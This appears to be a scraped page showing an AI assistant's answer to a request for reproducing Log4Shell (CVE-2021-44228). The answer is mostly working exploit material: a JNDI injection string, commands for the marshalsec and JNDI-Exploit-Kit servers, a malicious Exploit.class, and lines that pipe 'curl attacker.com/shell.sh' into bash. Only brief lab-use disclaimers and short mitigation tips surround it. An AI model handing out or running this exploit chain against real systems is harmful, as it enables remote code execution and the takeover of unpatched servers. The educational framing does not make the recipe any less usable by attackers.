How to reproduce CVE-2021-44228
- User
How to reproduce CVE-2021-44228
Assistant
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.
How to reproduce CVE-2021-44228
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.
CVE-2021-44228, also known as Log4Shell, is a critical remote code execution (RCE) vulnerability in the Apache Log4j 2 library (versions 2.0-beta9 to 2.14.1). It allows attackers to execute arbitrary code via JNDI (Java Naming and Directory Interface) lookups in log messages.
Reproducing this vulnerability should only be done in a safe, isolated lab environment for research or educational purposes. Unauthorized exploitation is illegal.
You need a Java application that uses Log4j 2.x (≤ 2.14.1). Example:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class VulnerableApp {
private static final Logger logger = LogManager.getLogger(VulnerableApp.class);
public static void main(String[] args) {
// An attacker-controlled input (e.g., HTTP header, form input)
String userInput = "${jndi:ldap://attacker.com/exploit}";
logger.error("User input: " + userInput); // Triggers RCE
}
}
pom.xml):
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- Vulnerable version -->
</dependency>
The exploit works by forcing the victim to fetch and execute code from an attacker-controlled server.
marshalsec (Simple LDAP Server)marshalsec:
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"
http://attacker.com/Exploit.class with a URL hosting a malicious .class file.jndi-exploit-kitjava -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -L ldap://0.0.0.0:1389 -C "curl http://attacker.com/shell.sh | bash"
Create a Java class (Exploit.class) that executes arbitrary code:
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe"); // Windows
// Runtime.getRuntime().exec("/bin/bash -c 'curl attacker.com/shell.sh | bash'"); // Linux
} catch (Exception e) {
e.printStackTrace();
}
}
}
python3 -m http.server 8000).Run the vulnerable Java app with the malicious input:
String payload = "${jndi:ldap://attacker-ip:1389/Exploit}";
logger.error(payload);
log4j2.formatMsgNoLookups=true (for older versions).${jndi: patterns.🚨 Only use this for ethical security research! Unauthorized exploitation is illegal.